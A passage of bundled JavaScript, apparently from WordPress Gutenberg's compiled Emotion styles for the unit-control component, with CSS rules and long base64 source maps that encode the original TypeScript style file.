ZvY3VzICsgJyAnICsgQ09MT1JTLnVpLmJvcmRlckZvY3VzIH07XG5cdFx0XHRcdG91dGxpbmU6ICR7IENPTkZJRy5ib3JkZXJXaWR0aEZvY3VzIH0gc29saWQgdHJhbnNwYXJlbnQ7IC8vIEZvciBIaWdoIENvbnRyYXN0IE1vZGVcblx0XHRcdH1cblx0XHRgLFxuXHR9O1xuXG5cdHJldHVybiBzaXplc1sgc2VsZWN0U2l6ZSBdO1xufTtcblxuZXhwb3J0IGNvbnN0IFVuaXRTZWxlY3QgPSBzdHlsZWQuc2VsZWN0PCBTZWxlY3RQcm9wcyA+YFxuXHQvLyBUaGUgJiYmIGNvdW50ZXJhY3RzIDxzZWxlY3Q+IHN0eWxlcyBpbiBXUCBmb3Jtcy5jc3Ncblx0JiYmIHtcblx0XHRhcHBlYXJhbmNlOiBub25lO1xuXHRcdGJhY2tncm91bmQ6IHRyYW5zcGFyZW50O1xuXHRcdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNYU21hbGwgfTtcblx0XHRib3JkZXI6IG5vbmU7XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0b3V0bGluZTogbm9uZTtcblx0XHQvKiBSZW1vdmluZyBtYXJnaW4gZW5zdXJlcyBmb2N1cyBzdHlsZXMgbmVhdGx5IG92ZXJsYXkgdGhlIHdyYXBwZXIuICovXG5cdFx0bWFyZ2luOiAwO1xuXHRcdG1pbi1oZWlnaHQ6IGF1dG87XG5cdFx0Zm9udC1mYW1pbHk6IGluaGVyaXQ7XG5cblx0XHQmOm5vdCggOmRpc2FibGVkICkge1xuXHRcdFx0Y3Vyc29yOiBwb2ludGVyO1xuXHRcdH1cblxuXHRcdCR7IGJhc2VVbml0TGFiZWxTdHlsZXMgfTtcblx0XHQkeyB1bml0U2VsZWN0U2l6ZXMgfTtcblx0fVxuYDtcbiJdfQ== */"));
32728 var baseUnitLabelStyles = ({
32729 selectSize
32730 }) => {
32731 const sizes = {
32732 small: /* @__PURE__ */ css("box-sizing:border-box;padding:2px 1px;width:20px;font-size:8px;line-height:1;letter-spacing:-0.5px;text-transform:uppercase;text-align-last:center;&:not( :disabled ){color:", COLORS.gray[800], ";}" + (false ? "" : ";label:small;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInVuaXQtY29udHJvbC1zdHlsZXMudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBc0NZIiwiZmlsZSI6InVuaXQtY29udHJvbC1zdHlsZXMudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5pbXBvcnQgc3R5bGVkIGZyb20gJ0BlbW90aW9uL3N0eWxlZCc7XG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRywgcnRsIH0gZnJvbSAnLi4vLi4vdXRpbHMnO1xuaW1wb3J0IE51bWJlckNvbnRyb2wgZnJvbSAnLi4vLi4vbnVtYmVyLWNvbnRyb2wnO1xuaW1wb3J0IHsgQmFja2Ryb3BVSSB9IGZyb20gJy4uLy4uL2lucHV0LWNvbnRyb2wvc3R5bGVzL2lucHV0LWNvbnRyb2wtc3R5bGVzJztcbmltcG9ydCB0eXBlIHsgU2VsZWN0U2l6ZSB9IGZyb20gJy4uL3R5cGVzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vLi4vdXRpbHMvc3BhY2UnO1xuXG4vLyBVc2luZyBgc2VsZWN0U2l6ZWAgaW5zdGVhZCBvZiBgc2l6ZWAgdG8gYXZvaWQgYSB0eXBlIGNvbmZsaWN0IHdpdGggdGhlXG4vLyBgc2l6ZWAgSFRNTCBhdHRyaWJ1dGUgb2YgdGhlIGBzZWxlY3RgIGVsZW1lbnQuXG50eXBlIFNlbGVjdFByb3BzID0ge1xuXHRzZWxlY3RTaXplOiBTZWxlY3RTaXplO1xufTtcblxuLy8gVE9ETzogUmVzb2x2ZSBuZWVkIHRvIHVzZSAmJiYgdG8gaW5jcmVhc2Ugc3BlY2lmaWNpdHlcbi8vIGh0dHBzOi8vZ2l0aHViLmNvbS9Xb3JkUHJlc3MvZ3V0ZW5iZXJnL2lzc3Vlcy8xODQ4M1xuXG5leHBvcnQgY29uc3QgVmFsdWVJbnB1dCA9IHN0eWxlZCggTnVtYmVyQ29udHJvbCApYFxuXHQmJiYge1xuXHRcdGlucHV0IHtcblx0XHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdFx0d2lkdGg6IDEwMCU7XG5cdFx0fVxuXG5cdFx0JHsgQmFja2Ryb3BVSSB9IHtcblx0XHRcdHRyYW5zaXRpb246IGJveC1zaGFkb3cgMC4xcyBsaW5lYXI7XG5cdFx0fVxuXHR9XG5gO1xuXG5jb25zdCBiYXNlVW5pdExhYmVsU3R5bGVzID0gKCB7IHNlbGVjdFNpemUgfTogU2VsZWN0UHJvcHMgKSA9PiB7XG5cdGNvbnN0IHNpemVzID0ge1xuXHRcdHNtYWxsOiBjc3NgXG5cdFx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRcdFx0cGFkZGluZzogMnB4IDFweDtcblx0XHRcdHdpZHRoOiAyMHB4O1xuXHRcdFx0Zm9udC1zaXplOiA4cHg7XG5cdFx0XHRsaW5lLWhlaWdodDogMTtcblx0XHRcdGxldHRlci1zcGFjaW5nOiAtMC41cHg7XG5cdFx0XHR0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlO1xuXHRcdFx0dGV4dC1hbGlnbi1sYXN0OiBjZW50ZXI7XG5cblx0XHRcdCY6bm90KCA6ZGlzYWJsZWQgKSB7XG5cdFx0XHRcdGNvbG9yOiAkeyBDT0xPUlMuZ3JheVsgODAwIF0gfTtcblx0XHRcdH1cblx0XHRgLFxuXHRcdGRlZmF1bHQ6IGNzc2Bcblx0XHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0XHRtaW4td2lkdGg6IDI0cHg7XG5cdFx0XHRtYXgtd2lkdGg6IDQ4cHg7XG5cdFx0XHRoZWlnaHQ6IDI0cHg7XG5cdFx0XHRtYXJnaW4taW5saW5lLWVuZDogJHsgc3BhY2UoIDIgKSB9O1xuXHRcdFx0cGFkZGluZzogJHsgc3BhY2UoIDEgKSB9O1xuXG5cdFx0XHRmb250LXNpemU6IDEzcHg7XG5cdFx0XHRsaW5lLWhlaWdodDogMTtcblx0XHRcdHRleHQtYWxpZ24tbGFzdDogY2VudGVyO1xuXHRcdFx0d2hpdGUtc3BhY2U6IG5vd3JhcDtcblx0XHRcdG92ZXJmbG93OiBoaWRkZW47XG5cdFx0XHR0ZXh0LW92ZXJmbG93OiBlbGxpcHNpcztcblx0XHRcdGZpZWxkLXNpemluZzogY29udGVudDtcblxuXHRcdFx0Jjpub3QoIDpkaXNhYmxlZCApIHtcblx0XHRcdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblx0XHRcdH1cblx0XHRgLFxuXHR9O1xuXG5cdHJldHVybiBzaXplc1sgc2VsZWN0U2l6ZSBdO1xufTtcblxuZXhwb3J0IGNvbnN0IFVuaXRMYWJlbCA9IHN0eWxlZC5kaXY8IFNlbGVjdFByb3BzID5gXG5cdCYmJiB7XG5cdFx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cblx0XHQkeyBiYXNlVW5pdExhYmVsU3R5bGVzIH07XG5cblx0XHRjb2xvcjogJHsgQ09MT1JTLmdyYXlbIDkwMCBdIH07XG5cdH1cbmA7XG5cbmNvbnN0IHVuaXRTZWxlY3RTaXplcyA9ICggeyBzZWxlY3RTaXplID0gJ2RlZmF1bHQnIH06IFNlbGVjdFByb3BzICkgPT4ge1xuXHRjb25zdCBzaXplcyA9IHtcblx0XHRzbWFsbDogY3NzYFxuXHRcdFx0aGVpZ2h0OiAxMDAlO1xuXHRcdFx0Ym9yZGVyOiAxcHggc29saWQgdHJhbnNwYXJlbnQ7XG5cdFx0XHR0cmFuc2l0aW9uOlxuXHRcdFx0XHRib3gtc2hhZG93IDAuMXMgbGluZWFyLFxuXHRcdFx0XHRib3JkZXIgMC4xcyBsaW5lYXI7XG5cblx0XHRcdCR7IHJ0bCggeyBib3JkZXJUb3BMZWZ0UmFkaXVzOiAwLCBib3JkZXJCb3R0b21MZWZ0UmFkaXVzOiAwIH0gKSgpIH1cblxuXHRcdFx0Jjpub3QoOmRpc2FibGVkKTpob3ZlciB7XG5cdFx0XHRcdGJhY2tncm91bmQtY29sb3I6ICR7IENPTE9SUy5ncmF5WyAxMDAgXSB9O1xuXHRcdFx0fVxuXG5cdFx0XHQmOmZvY3VzIHtcblx0XHRcdFx0Ym9yZGVyOiAxcHggc29saWQgJHsgQ09MT1JTLnVpLmJvcmRlckZvY3VzIH07XG5cdFx0XHRcdGJveC1zaGFkb3c6IGluc2V0IDAgMCAwXG5cdFx0XHRcdFx0JHsgQ09ORklHLmJvcmRlcldpZHRoICsgJyAnICsgQ09MT1JTLnVpLmJvcmRlckZvY3VzIH07XG5cdFx0XHRcdG91dGxpbmUtb2Zmc2V0OiAwO1xuXHRcdFx0XHRvdXRsaW5lOiAycHggc29saWQgdHJhbnNwYXJlbnQ7XG5cdFx0XHRcdHotaW5kZXg6IDE7XG5cdFx0XHR9XG5cdFx0YCxcblx0XHRkZWZhdWx0OiBjc3NgXG5cdFx0XHRkaXNwbGF5OiBmbGV4O1xuXHRcdFx0anVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG5cdFx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXG5cdFx0XHQmOndoZXJlKCA6bm90KCA6ZGlzYWJsZWQgKSApOmhvdmVyIHtcblx0XHRcdFx0Ym94LXNoYWRvdzogMCAwIDBcblx0XHRcdFx0XHQkeyBDT05GSUcuYm9yZGVyV2lkdGggKyAnICcgKyBDT0xPUlMudWkuYm9yZGVyRm9jdXMgfTtcblx0XHRcdFx0b3V0bGluZTogJHsgQ09ORklHLmJvcmRlcldpZHRoIH0gc29saWQgdHJhbnNwYXJlbnQ7IC8vIEZvciBIaWdoIENvbnRyYXN0IE1vZGVcblx0XHRcdH1cblxuXHRcdFx0Jjpmb2N1cyB7XG5cdFx0XHRcdGJveC1zaGFkb3c6IDAgMCAwXG5cdFx0XHRcdFx0JHsgQ09ORklHLmJvcmRlcldpZHRoRm9jdXMgKyAnICcgKyBDT0xPUlMudWkuYm9yZGVyRm9jdXMgfTtcblx0XHRcdFx0b3V0bGluZTogJHsgQ09ORklHLmJvcmRlcldpZHRoRm9jdXMgfSBzb2xpZCB0cmFuc3BhcmVudDsgLy8gRm9yIEhpZ2ggQ29udHJhc3QgTW9kZVxuXHRcdFx0fVxuXHRcdGAsXG5cdH07XG5cblx0cmV0dXJuIHNpemVzWyBzZWxlY3RTaXplIF07XG59O1xuXG5leHBvcnQgY29uc3QgVW5pdFNlbGVjdCA9IHN0eWxlZC5zZWxlY3Q8IFNlbGVjdFByb3BzID5gXG5cdC8vIFRoZSAmJiYgY291bnRlcmFjdHMgPHNlbGVjdD4gc3R5bGVzIGluIFdQIGZvcm1zLmNzc1xuXHQmJiYge1xuXHRcdGFwcGVhcmFuY2U6IG5vbmU7XG5cdFx0YmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7XG5cdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1hTbWFsbCB9O1xuXHRcdGJvcmRlcjogbm9uZTtcblx0XHRkaXNwbGF5OiBibG9jaztcblx0XHRvdXRsaW5lOiBub25lO1xuXHRcdC8qIFJlbW92aW5nIG1hcmdpbiBlbnN1cmVzIGZvY3VzIHN0eWxlcyBuZWF0bHkgb3ZlcmxheSB0aGUgd3JhcHBlci4gKi9cblx0XHRtYXJnaW46IDA7XG5cdFx0bWluLWhlaWdodDogYXV0bztcblx0XHRmb250LWZhbWlseTogaW5oZXJpdDtcblxuXHRcdCY6bm90KCA6ZGlzYWJsZWQgKSB7XG5cdFx0XHRjdXJzb3I6IHBvaW50ZXI7XG5cdFx0fVxuXG5cdFx0JHsgYmFzZVVuaXRMYWJlbFN0eWxlcyB9O1xuXHRcdCR7IHVuaXRTZWxlY3RTaXplcyB9O1xuXHR9XG5gO1xuIl19 */"),
32733 default: /* @__PURE__ */ css("box-sizing:border-box;min-width:24px;max-width:48px;height:24px;margin-inline-end:", space(2), ";padding:", space(1), ";font-size:13px;line-height:1;text-align-last:center;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;field-sizing:content;&:not( :disabled ){color:", COLORS.theme.accent, ";}" + (false ? "" : ";label:default;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInVuaXQtY29udHJvbC1zdHlsZXMudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBb0RjIiwiZmlsZSI6InVuaXQtY29udHJvbC1zdHlsZXMudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5pbXBvcnQgc3R5bGVkIGZyb20gJ0BlbW90aW9uL3N0eWxlZCc7XG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRywgcnRsIH0gZnJvbSAnLi4vLi4vdXRpbHMnO1xuaW1wb3J0IE51bWJlckNvbnRyb2wgZnJvbSAnLi4vLi4vbnVtYmVyLWNvbnRyb2wnO1xuaW1wb3J0IHsgQmFja2Ryb3BVSSB9IGZyb20gJy4uLy4uL2lucHV0LWNvbnRyb2wvc3R5bGVzL2lucHV0LWNvbnRyb2wtc3R5bGVzJztcbmltcG9ydCB0eXBlIHsgU2VsZWN0U2l6ZSB9IGZyb20gJy4uL3R5cGVzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vLi4vdXRpbHMvc3BhY2UnO1xuXG4vLyBVc2luZyBgc2VsZWN0U2l6ZWAgaW5zdGVhZCBvZiBgc2l6ZWAgdG8gYXZvaWQgYSB0eXBlIGNvbmZsaWN0IHdpdGggdGhlXG4vLyBgc2l6ZWAgSFRNTCBhdHRyaWJ1dGUgb2YgdGhlIGBzZWxlY3RgIGVsZW1lbnQuXG50eXBlIFNlbGVjdFByb3BzID0ge1xuXHRzZWxlY3RTaXplOiBTZWxlY3RTaXplO1xufTtcblxuLy8gVE9ETzogUmVzb2x2ZSBuZWVkIHRvIHVzZSAmJiYgdG8gaW5jcmVhc2Ugc3BlY2lmaWNpdHlcbi8vIGh0dHBzOi8vZ2l0aHViLmNvbS9Xb3JkUHJlc3MvZ3V0ZW5iZXJnL2lzc3Vlcy8xODQ4M1xuXG5leHBvcnQgY29uc3QgVmFsdWVJbnB1dCA9IHN0eWxlZCggTnVtYmVyQ29udHJvbCApYFxuXHQmJiYge1xuXHRcdGlucHV0IHtcblx0XHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdFx0d2lkdGg6IDEwMCU7XG5cdFx0fVxuXG5cdFx0JHsgQmFja2Ryb3BVSSB9IHtcblx0XHRcdHRyYW5zaXRpb246IGJveC1zaGFkb3cgMC4xcyBsaW5lYXI7XG5cdFx0fVxuXHR9XG5gO1xuXG5jb25zdCBiYXNlVW5pdExhYmVsU3R5bGVzID0gKCB7IHNlbGVjdFNpemUgfTogU2VsZWN0UHJvcHMgKSA9PiB7XG5cdGNvbnN0IHNpemVzID0ge1xuXHRcdHNtYWxsOiBjc3NgXG5cdFx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRcdFx0cGFkZGluZzogMnB4IDFweDtcblx0XHRcdHdpZHRoOiAyMHB4O1xuXHRcdFx0Zm9udC1zaXplOiA4cHg7XG5cdFx0XHRsaW5lLWhlaWdodDogMTtcblx0XHRcdGxldHRlci1zcGFjaW5nOiAtMC41cHg7XG5cdFx0XHR0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlO1xuXHRcdFx0dGV4dC1hbGlnbi1sYXN0OiBjZW50ZXI7XG5cblx0XHRcdCY6bm90KCA6ZGlzYWJsZWQgKSB7XG5cdFx0XHRcdGNvbG9yOiAkeyBDT0xPUlMuZ3JheVsgODAwIF0gfTtcblx0XHRcdH1cblx0XHRgLFxuXHRcdGRlZmF1bHQ6IGNzc2Bcblx0XHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0XHRtaW4td2lkdGg6IDI0cHg7XG5cdFx0XHRtYXgtd2lkdGg6IDQ4cHg7XG5cdFx0XHRoZWlnaHQ6IDI0cHg7XG5cdFx0XHRtYXJnaW4taW5saW5lLWVuZDogJHsgc3BhY2UoIDIgKSB9O1xuXHRcdFx0cGFkZGluZzogJHsgc3BhY2UoIDEgKSB9O1xuXG5cdFx0XHRmb250LXNpemU6IDEzcHg7XG5cdFx0XHRsaW5lLWhlaWdodDogMTtcblx0XHRcdHRleHQtYWxpZ24tbGFzdDogY2VudGVyO1xuXHRcdFx0d2hpdGUtc3BhY2U6IG5vd3JhcDtcblx0XHRcdG92ZXJmbG93OiBoaWRkZW47XG5cdFx0XHR0ZXh0LW92ZXJmbG93OiBlbGxpcHNpcztcblx0XHRcdGZpZWxkLXNpemluZzogY29udGVudDtcblxuXHRcdFx0Jjpub3QoIDpkaXNhYmxlZCApIHtcblx0XHRcdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblx0XHRcdH1cblx0XHRgLFxuXHR9O1xuXG5cdHJldHVybiBzaXplc1sgc2VsZWN0U2l6ZSBdO1xufTtcblxuZXhwb3J0IGNvbnN0IFVuaXRMYWJlbCA9IHN0eWxlZC5kaXY8IFNlbGVjdFByb3BzID5gXG5cdCYmJiB7XG5cdFx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cblx0XHQkeyBiYXNlVW5pdExhYmVsU3R5bGVzIH07XG5cblx0XHRjb2xvcjogJHsgQ09MT1JTLmdyYXlbIDkwMCBdIH07XG5cdH1cbmA7XG5cbmNvbnN0IHVuaXRTZWxlY3RTaXplcyA9ICggeyBzZWxlY3RTaXplID0gJ2RlZmF1bHQnIH06IFNlbGVjdFByb3BzICkgPT4ge1xuXHRjb25zdCBzaXplcyA9IHtcblx0XHRzbWFsbDogY3NzYFxuXHRcdFx0aGVpZ2h0OiAxMDAlO1xuXHRcdFx0Ym9yZGVyOiAxcHggc29saWQgdHJhbnNwYXJlbnQ7XG5cdFx0XHR0cmFuc2l0aW9uOlxuXHRcdFx0XHRib3gtc2hhZG93IDAuMXMgbGluZWFyLFxuXHRcdFx0XHRib3JkZXIgMC4xcyBsaW5lYXI7XG5cblx0XHRcdCR7IHJ0bCggeyBib3JkZXJUb3BMZWZ0UmFkaXVzOiAwLCBib3JkZXJCb3R0b21MZWZ0UmFkaXVzOiAwIH0gKSgpIH1cblxuXHRcdFx0Jjpub3QoOmRpc2FibGVkKTpob3ZlciB7XG5cdFx0XHRcdGJhY2tncm91bmQtY29sb3I6ICR7IENPTE9SUy5ncmF5WyAxMDAgXSB9O1xuXHRcdFx0fVxuXG5cdFx0XHQmOmZvY3VzIHtcblx0XHRcdFx0Ym9yZGVyOiAxcHggc29saWQgJHsgQ09MT1JTLnVpLmJvcmRlckZvY3VzIH07XG5cdFx0XHRcdGJveC1zaGFkb3c6IGluc2V0IDAgMCAwXG5cdFx0XHRcdFx0JHsgQ09ORklHLmJvcmRlcldpZHRoICsgJyAnICsgQ09MT1JTLnVpLmJvcmRlckZvY3VzIH07XG5cdFx0XHRcdG91dGxpbmUtb2Zmc2V0OiAwO1xuXHRcdFx0XHRvdXRsaW5lOiAycHggc29saWQgdHJhbnNwYXJlbnQ7XG5cdFx0XHRcdHotaW5kZXg6IDE7XG5cdFx0XHR9XG5cdFx0YCxcblx0XHRkZWZhdWx0OiBjc3NgXG5cdFx0XHRkaXNwbGF5OiBmbGV4O1xuXHRcdFx0anVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG5cdFx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXG5cdFx0XHQmOndoZXJlKCA6bm90KCA6ZGlzYWJsZWQgKSApOmhvdmVyIHtcblx0XHRcdFx0Ym94LXNoYWRvdzogMCAwIDBcblx0XHRcdFx0XHQkeyBDT05GSUcuYm9yZGVyV2lkdGggKyAnICcgKyBDT0xPUlMudWkuYm9yZGVyRm9jdXMgfTtcblx0XHRcdFx0b3V0bGluZTogJHsgQ09ORklHLmJvcmRlcldpZHRoIH0gc29saWQgdHJhbnNwYXJlbnQ7IC8vIEZvciBIaWdoIENvbnRyYXN0IE1vZGVcblx0XHRcdH1cblxuXHRcdFx0Jjpmb2N1cyB7XG5cdFx0XHRcdGJveC1zaGFkb3c6IDAgMCAwXG5cdFx0XHRcdFx0JHsgQ09ORklHLmJvcmRlcldpZHRoRm9jdXMgKyAnICcgKyBDT0xPUlMudWkuYm9yZGVyRm9jdXMgfTtcblx0XHRcdFx0b3V0bGluZTogJHsgQ09ORklHLmJvcmRlcldpZHRoRm9jdXMgfSBzb2xpZCB0cmFuc3BhcmVudDsgLy8gRm9yIEhpZ2ggQ29udHJhc3QgTW9kZVxuXHRcdFx0fVxuXHRcdGAsXG5cdH07XG5cblx0cmV0dXJuIHNpemVzWyBzZWxlY3RTaXplIF07XG59O1xuXG5leHBvcnQgY29uc3QgVW5pdFNlbGVjdCA9IHN0eWxlZC5zZWxlY3Q8IFNlbGVjdFByb3BzID5gXG5cdC8vIFRoZSAmJiYgY291bnRlcmFjdHMgPHNlbGVjdD4gc3R5bGVzIGluIFdQIGZvcm1zLmNzc1xuXHQmJiYge1xuXHRcdGFwcGVhcmFuY2U6IG5vbmU7XG5cdFx0YmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7XG5cdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1hTbWFsbCB9O1xuXHRcdGJvcmRlcjogbm9uZTtcblx0XHRkaXNwbGF5OiBibG9jaztcblx0XHRvdXRsaW5lOiBub25lO1xuXHRcdC8qIFJlbW92aW5nIG1hcmdpbiBlbnN1cmVzIGZvY3VzIHN0eWxlcyBuZWF0bHkgb3ZlcmxheSB0aGUgd3JhcHBlci4gKi9cblx0XHRtYXJnaW46IDA7XG5cdFx0bWluLWhlaWdodDogYXV0bztcblx0XHRmb250LWZhbWlseTogaW5oZXJpdDtcblxuXHRcdCY6bm90KCA6ZGlzYWJsZWQgKSB7XG5cdFx0XHRjdXJzb3I6IHBvaW50ZXI7XG5cdFx0fVxuXG5cdFx0JHsgYmFzZVVuaXRMYWJlbFN0eWxlcyB9O1xuXHRcdCR7IHVuaXRTZWxlY3RTaXplcyB9O1xuXHR9XG5gO1xuIl19 */")
32734 };
32735 return sizes[selectSize];
32736 };
32737 var UnitLabel = /* @__PURE__ */ createStyled("div", false ? {
32738 target: "e1bagdl31"
32739 } : {
32740 target: "e1bagdl31",
32741 label: "UnitLabel"
32742 })("&&&{pointer-events:none;", baseUnitLabelStyles, ";color:", COLORS.gray[900], ";}" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInVuaXQtY29udHJvbC1zdHlsZXMudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBNkVrRCIsImZpbGUiOiJ1bml0LWNvbnRyb2wtc3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcsIHJ0bCB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCBOdW1iZXJDb250cm9sIGZyb20gJy4uLy4uL251bWJlci1jb250cm9sJztcbmltcG9ydCB7IEJhY2tkcm9wVUkgfSBmcm9tICcuLi8uLi9pbnB1dC1jb250cm9sL3N0eWxlcy9pbnB1dC1jb250cm9sLXN0eWxlcyc7XG5pbXBvcnQgdHlwZSB7IFNlbGVjdFNpemUgfSBmcm9tICcuLi90eXBlcyc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uLy4uL3V0aWxzL3NwYWNlJztcblxuLy8gVXNpbmcgYHNlbGVjdFNpemVgIGluc3RlYWQgb2YgYHNpemVgIHRvIGF2b2lkIGEgdHlwZSBjb25mbGljdCB3aXRoIHRoZVxuLy8gYHNpemVgIEhUTUwgYXR0cmlidXRlIG9mIHRoZSBgc2VsZWN0YCBlbGVtZW50LlxudHlwZSBTZWxlY3RQcm9wcyA9IHtcblx0c2VsZWN0U2l6ZTogU2VsZWN0U2l6ZTtcbn07XG5cbi8vIFRPRE86IFJlc29sdmUgbmVlZCB0byB1c2UgJiYmIHRvIGluY3JlYXNlIHNwZWNpZmljaXR5XG4vLyBodHRwczovL2dpdGh1Yi5jb20vV29yZFByZXNzL2d1dGVuYmVyZy9pc3N1ZXMvMTg0ODNcblxuZXhwb3J0IGNvbnN0IFZhbHVlSW5wdXQgPSBzdHlsZWQoIE51bWJlckNvbnRyb2wgKWBcblx0JiYmIHtcblx0XHRpbnB1dCB7XG5cdFx0XHRkaXNwbGF5OiBibG9jaztcblx0XHRcdHdpZHRoOiAxMDAlO1xuXHRcdH1cblxuXHRcdCR7IEJhY2tkcm9wVUkgfSB7XG5cdFx0XHR0cmFuc2l0aW9uOiBib3gtc2hhZG93IDAuMXMgbGluZWFyO1xuXHRcdH1cblx0fVxuYDtcblxuY29uc3QgYmFzZVVuaXRMYWJlbFN0eWxlcyA9ICggeyBzZWxlY3RTaXplIH06IFNlbGVjdFByb3BzICkgPT4ge1xuXHRjb25zdCBzaXplcyA9IHtcblx0XHRzbWFsbDogY3NzYFxuXHRcdFx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0XHRcdHBhZGRpbmc6IDJweCAxcHg7XG5cdFx0XHR3aWR0aDogMjBweDtcblx0XHRcdGZvbnQtc2l6ZTogOHB4O1xuXHRcdFx0bGluZS1oZWlnaHQ6IDE7XG5cdFx0XHRsZXR0ZXItc3BhY2luZzogLTAuNXB4O1xuXHRcdFx0dGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTtcblx0XHRcdHRleHQtYWxpZ24tbGFzdDogY2VudGVyO1xuXG5cdFx0XHQmOm5vdCggOmRpc2FibGVkICkge1xuXHRcdFx0XHRjb2xvcjogJHsgQ09MT1JTLmdyYXlbIDgwMCBdIH07XG5cdFx0XHR9XG5cdFx0YCxcblx0XHRkZWZhdWx0OiBjc3NgXG5cdFx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRcdFx0bWluLXdpZHRoOiAyNHB4O1xuXHRcdFx0bWF4LXdpZHRoOiA0OHB4O1xuXHRcdFx0aGVpZ2h0OiAyNHB4O1xuXHRcdFx0bWFyZ2luLWlubGluZS1lbmQ6ICR7IHNwYWNlKCAyICkgfTtcblx0XHRcdHBhZGRpbmc6ICR7IHNwYWNlKCAxICkgfTtcblxuXHRcdFx0Zm9udC1zaXplOiAxM3B4O1xuXHRcdFx0bGluZS1oZWlnaHQ6IDE7XG5cdFx0XHR0ZXh0LWFsaWduLWxhc3Q6IGNlbnRlcjtcblx0XHRcdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5cdFx0XHRvdmVyZmxvdzogaGlkZGVuO1xuXHRcdFx0dGV4dC1vdmVyZmxvdzogZWxsaXBzaXM7XG5cdFx0XHRmaWVsZC1zaXppbmc6IGNvbnRlbnQ7XG5cblx0XHRcdCY6bm90KCA6ZGlzYWJsZWQgKSB7XG5cdFx0XHRcdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cdFx0XHR9XG5cdFx0YCxcblx0fTtcblxuXHRyZXR1cm4gc2l6ZXNbIHNlbGVjdFNpemUgXTtcbn07XG5cbmV4cG9ydCBjb25zdCBVbml0TGFiZWwgPSBzdHlsZWQuZGl2PCBTZWxlY3RQcm9wcyA+YFxuXHQmJiYge1xuXHRcdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXG5cdFx0JHsgYmFzZVVuaXRMYWJlbFN0eWxlcyB9O1xuXG5cdFx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA5MDAgXSB9O1xuXHR9XG5gO1xuXG5jb25zdCB1bml0U2VsZWN0U2l6ZXMgPSAoIHsgc2VsZWN0U2l6ZSA9ICdkZWZhdWx0JyB9OiBTZWxlY3RQcm9wcyApID0+IHtcblx0Y29uc3Qgc2l6ZXMgPSB7XG5cdFx0c21hbGw6IGNzc2Bcblx0XHRcdGhlaWdodDogMTAwJTtcblx0XHRcdGJvcmRlcjogMXB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXHRcdFx0dHJhbnNpdGlvbjpcblx0XHRcdFx0Ym94LXNoYWRvdyAwLjFzIGxpbmVhcixcblx0XHRcdFx0Ym9yZGVyIDAuMXMgbGluZWFyO1xuXG5cdFx0XHQkeyBydGwoIHsgYm9yZGVyVG9wTGVmd